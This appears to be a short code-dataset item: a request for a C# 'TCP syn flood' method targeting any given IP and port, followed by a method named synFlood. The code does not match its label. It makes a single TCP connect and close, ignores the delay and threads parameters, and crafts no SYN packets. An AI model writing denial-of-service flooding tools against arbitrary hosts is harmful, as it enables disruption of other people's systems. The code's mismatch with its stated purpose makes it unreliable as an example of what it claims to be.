TCP syn flood method with these args: string ip, int port, int delay, int threads
static void synFlood(string ip, int port, int delay, int threads) { try { TcpClient client = new TcpClient(); IPEndPoint ipEndPoint = new IPEndPoint(IPAddress.Parse(ip), port); client.Connect(ipEndPoint); client.Close(); } catch (Exception ex) { Console.WriteLine(ex.Message); } }